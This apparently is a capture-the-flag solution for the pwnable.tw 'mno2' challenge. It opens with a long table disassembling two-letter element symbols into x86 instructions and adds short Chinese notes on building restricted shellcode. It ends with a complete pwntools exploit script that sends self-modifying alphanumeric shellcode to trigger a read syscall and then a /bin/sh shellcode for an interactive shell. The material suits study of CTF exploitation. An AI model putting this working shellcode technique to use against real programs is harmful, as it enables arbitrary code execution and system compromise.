1: 64 fs
In
0: 49 dec ecx
1: 6e outs dx,BYTE PTR ds:[esi]
Sn
0: 53 push ebx
1: 6e outs dx,BYTE PTR ds:[esi]
Sb
0: 53 push ebx
1: 62 .byte 0x62
Te
0: 54 push esp
1: 65 gs
I
0: 49 dec ecx
Xe
0: 58 pop eax
1: 65 gs
Cs
0: 43 inc ebx
1: 73 .byte 0x73
Ba
0: 42 inc edx
1: 61 popa
La
0: 4c dec esp
1: 61 popa
Ce
0: 43 inc ebx
1: 65 gs
Pr
0: 50 push eax
1: 72 .byte 0x72
Nd
0: 4e dec esi
1: 64 fs
Pm
0: 50 push eax
1: 6d ins DWORD PTR es:[edi],dx
Sm
0: 53 push ebx
1: 6d ins DWORD PTR es:[edi],dx
Eu
0: 45 inc ebp
1: 75 .byte 0x75
Gd
0: 47 inc edi
1: 64 fs
Tb
0: 54 push esp
1: 62 .byte 0x62
Dy
0: 44 inc esp
1: 79 .byte 0x79
Ho
0: 48 dec eax
1: 6f outs dx,DWORD PTR ds:[esi]
Er
0: 45 inc ebp
1: 72 .byte 0x72
Tm
0: 54 push esp
1: 6d ins DWORD PTR es:[edi],dx
Yb
0: 59 pop ecx
1: 62 .byte 0x62
Lu
0: 4c dec esp
1: 75 .byte 0x75
Hf
0: 48 dec eax
1: 66 data16
Ta
0: 54 push esp
1: 61 popa
W
0: 57 push edi
Re
0: 52 push edx
1: 65 gs
Os
0: 4f dec edi
1: 73 .byte 0x73
Ir
0: 49 dec ecx
1: 72 .byte 0x72
Pt
0: 50 push eax
1: 74 .byte 0x74
Au
0: 41 inc ecx
1: 75 .byte 0x75
Hg
0: 48 dec eax
1: 67 addr16
Tl
0: 54 push esp
1: 6c ins BYTE PTR es:[edi],dx
Pb
0: 50 push eax
1: 62 .byte 0x62
Bi
0: 42 inc edx
1: 69 .byte 0x69
Po
0: 50 push eax
1: 6f outs dx,DWORD PTR ds:[esi]
At
0: 41 inc ecx
1: 74 .byte 0x74
Rn
0: 52 push edx
1: 6e outs dx,BYTE PTR ds:[esi]
Fr
0: 46 inc esi
1: 72 .byte 0x72
Ra
0: 52 push edx
1: 61 popa
Ac
0: 41 inc ecx
1: 63 .byte 0x63
Th
0: 54 push esp
1: 68 .byte 0x68 //free push
Pa
0: 50 push eax
1: 61 popa
U
0: 55 push ebp
Np
0: 4e dec esi
1: 70 .byte 0x70
Pu
0: 50 push eax
1: 75 .byte 0x75
Am
0: 41 inc ecx
1: 6d ins DWORD PTR es:[edi],dx
Cm
0: 43 inc ebx
1: 6d ins DWORD PTR es:[edi],dx
Bk
0: 42 inc edx
1: 6b .byte 0x6b
Cf
0: 43 inc ebx
1: 66 data16
Es
0: 45 inc ebp
1: 73 .byte 0x73
Fm
0: 46 inc esi
1: 6d ins DWORD PTR es:[edi],dx
Md
0: 4d dec ebp
1: 64 fs
No
0: 4e dec esi
1: 6f outs dx,DWORD PTR ds:[esi]
Lr
0: 4c dec esp
1: 72 .byte 0x72
Rf
0: 52 push edx
1: 66 data16
Db
0: 44 inc esp
1: 62 .byte 0x62
Sg
0: 53 push ebx
1: 67 addr16
Bh
0: 42 inc edx
1: 68 .byte 0x68
Hs
0: 48 dec eax
1: 73 .byte 0x73
Mt
0: 4d dec ebp
1: 74 .byte 0x74
Ds
0: 44 inc esp
1: 73 .byte 0x73
Rg
0: 52 push edx
1: 67 addr16
Cn
0: 43 inc ebx
1: 6e outs dx,BYTE PTR ds:[esi]
Fl
0: 46 inc esi
1: 6c ins BYTE PTR es:[edi],dx
Lv
0: 4c dec esp
1: 76 .byte 0x76
11
0: 31 31 xor DWORD PTR [ecx],esi
12
0: 31 32 xor DWORD PTR [edx],esi
13
0: 31 33 xor DWORD PTR [ebx],esi
14
0: 31 .byte 0x31
1: 34 .byte 0x34
15
0: 31 .byte 0x31
1: 35 .byte 0x35
16
0: 31 36 xor DWORD PTR [esi],esi
17
0: 31 37 xor DWORD PTR [edi],esi
18
0: 31 38 xor DWORD PTR [eax],edi
19
0: 31 39 xor DWORD PTR [ecx],edi
10
0: 31 30 xor DWORD PTR [eax],esi
21
0: 32 31 xor dh,BYTE PTR [ecx]
22
0: 32 32 xor dh,BYTE PTR [edx]
23
0: 32 33 xor dh,BYTE PTR [ebx]
24
0: 32 .byte 0x32
1: 34 .byte 0x34
25
0: 32 .byte 0x32
1: 35 .byte 0x35
0: 32 36 xor dh,BYTE PTR [esi]
27
0: 32 37 xor dh,BYTE PTR [edi]
28
0: 32 38 xor bh,BYTE PTR [eax]
29
0: 32 39 xor bh,BYTE PTR [ecx]
20
0: 32 30 xor dh,BYTE PTR [eax]
31
0: 33 31 xor esi,DWORD PTR [ecx]
32
0: 33 32 xor esi,DWORD PTR [edx]
33
0: 33 33 xor esi,DWORD PTR [ebx]
34
0: 33 .byte 0x33
1: 34 .byte 0x34
35
0: 33 .byte 0x33
1: 35 .byte 0x35
36
0: 33 36 xor esi,DWORD PTR [esi]
37
0: 33 37 xor esi,DWORD PTR [edi]
38
0: 33 38 xor edi,DWORD PTR [eax]
39
0: 33 39 xor edi,DWORD PTR [ecx]
30
0: 33 30 xor esi,DWORD PTR [eax]
41
0: 34 31 xor al,0x31
42
0: 34 32 xor al,0x32
43
0: 34 33 xor al,0x33
44
0: 34 34 xor al,0x34
45
0: 34 35 xor al,0x35
46
0: 34 36 xor al,0x36
47
0: 34 37 xor al,0x37
48
0: 34 38 xor al,0x38
49
0: 34 39 xor al,0x39
40
0: 34 30 xor al,0x30
51
0: 35 .byte 0x35
1: 31 .byte 0x31
52
0: 35 .byte 0x35
1: 32 .byte 0x32
53
0: 35 .byte 0x35
1: 33 .byte 0x33
54
0: 35 .byte 0x35
1: 34 .byte 0x34
55
0: 35 .byte 0x35
1: 35 .byte 0x35
56
0: 35 .byte 0x35
1: 36 ss
57
0: 35 .byte 0x35
1: 37 aaa
58
0: 35 .byte 0x35
1: 38 .byte 0x38
59
0: 35 .byte 0x35
1: 39 .byte 0x39
50
0: 35 .byte 0x35
1: 30 .byte 0x30
61
0: 36 ss
1: 31 .byte 0x31
62
0: 36 ss
1: 32 .byte 0x32
63
0: 36 ss
1: 33 .byte 0x33
64
0: 36 ss
1: 34 .byte 0x34
65
0: 36 ss
1: 35 .byte 0x35
66
0: 36 ss
1: 36 ss
67
0: 36 37 ss aaa
68
0: 36 ss
1: 38 .byte 0x38
69
0: 36 ss
1: 39 .byte 0x39
60
0: 36 ss
1: 30 .byte 0x30
71
0: 37 aaa
1: 31 .byte 0x31
72
0: 37 aaa
1: 32 .byte 0x32
73
0: 37 aaa
1: 33 .byte 0x33
74
0: 37 aaa
1: 34 .byte 0x34
75
0: 37 aaa
1: 35 .byte 0x35
76
0: 37 aaa
1: 36 ss
77
0: 37 aaa
1: 37 aaa
78
0: 37 aaa
1: 38 .byte 0x38
79
0: 37 aaa
1: 39 .byte 0x39
70
0: 37 aaa
1: 30 .byte 0x30
81
0: 38 31 cmp BYTE PTR [ecx],dh
82
0: 38 32 cmp BYTE PTR [edx],dh
83
0: 38 33 cmp BYTE PTR [ebx],dh
84
0: 38 .byte 0x38
1: 34 .byte 0x34
85
0: 38 .byte 0x38
1: 35 .byte 0x35
86
0: 38 36 cmp BYTE PTR [esi],dh
87
0: 38 37 cmp BYTE PTR [edi],dh
88
0: 38 38 cmp BYTE PTR [eax],bh
89
0: 38 39 cmp BYTE PTR [ecx],bh
80
0: 38 30 cmp BYTE PTR [eax],dh
91
0: 39 31 cmp DWORD PTR [ecx],esi
92
0: 39 32 cmp DWORD PTR [edx],esi
93
0: 39 33 cmp DWORD PTR [ebx],esi
94
0: 39 .byte 0x39
1: 34 .byte 0x34
95
0: 39 .byte 0x39
1: 35 .byte 0x35
96
0: 39 36 cmp DWORD PTR [esi],esi
97
0: 39 37 cmp DWORD PTR [edi],esi
98
0: 39 38 cmp DWORD PTR [eax],edi
99
0: 39 39 cmp DWORD PTR [ecx],edi
90
0: 39 30 cmp DWORD PTR [eax],esi
01
0: 30 31 xor BYTE PTR [ecx],dh
02
0: 30 32 xor BYTE PTR [edx],dh
03
0: 30 33 xor BYTE PTR [ebx],dh
04
0: 30 .byte 0x30
1: 34 .byte 0x34
05
0: 30 .byte 0x30
1: 35 .byte 0x35
06
0: 30 36 xor BYTE PTR [esi],dh
07
0: 30 37 xor BYTE PTR [edi],dh
08
0: 30 38 xor BYTE PTR [eax],bh
09
0: 30 39 xor BYTE PTR [ecx],bh
00
0: 30 30 xor BYTE PTR [eax],dh
Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置int 0x80(至于用什么值异或可以另外写个脚本fuzz以下,可选的对象还是挺多的)inc/dec完成,可能会占掉很长一段,需要合理安排SYS_read之后向最末尾读入可以直接getshell的shellcode(需要提前安排好ecx的位置)from pwn import *
#p = process("./mno2")
p = remote('chall.pwnable.tw','10301')
elf = ELF("./mno2")
context.log_level = "debug"
'''
reg status:
EAX 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */ shellcode start
EBX 0x0
ECX 0x0
EDX 0x8048890 ◂— dec eax /* 'H' */
EDI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
ESI 0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
EBP 0xffffcf18 ◂— 0x0
ESP 0xffffcedc —▸ 0x80487ea (main+169) ◂— mov dword ptr [esp], 0
EIP 0x324f6e4d ◂— dec eax /* 0x484848; 'HHH' */
'''
'''
target status1:
eax = 11
ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
ecx = 0
edx = 0
int 0x80 b'\xcd\x80'
'''
'''
target status2:
eax = 3
ebx =0
ecx = addr(end_of_shellcode)
edx = (big num)
int 0x80 b'\xcd\x80'
'''
shellcode = b"V" #push esi;
shellcode += b"Th1111" #push esp; push 0x33333333;
shellcode += b"XeXe" #pop eax;#pop eax;
shellcode += b"ThMoO2" #push esp; push 0x324f6e4d(shellcode start)
shellcode += b"30" #xor esi,DWORD PTR [eax];
shellcode += b"38" #xor edi,DWORD PTR [eax];
shellcode += b"Y" #pop ecx;
shellcode += b"O" #dec edi;
shellcode += b"19" #xor DWORD PTR [ecx],edi
shellcode += b"Ag"*1 #inc ecx;addr16;
shellcode += b"F"*0x46 #inc esi;
shellcode += b"11" #xor DWORD PTR [ecx],esi
shellcode += b"Ag"*1 #inc ecx;addr16; new shellcode start
shellcode += b"V" #push esi;
shellcode += b"Xe" #pop eax;
shellcode += b"Th1111" #pad;
shellcode += b"Hg"*0x43 #dec eax;
shellcode += b"B"*(0x100-len(shellcode))
shellcode += b"29"
def exp():
#gdb.attach(p, "b *0x80487E8\nc\n")
p.sendline(shellcode)
p.sendline(asm(shellcraft.sh()))
p.interactive()
if __name__ == "__main__":
exp()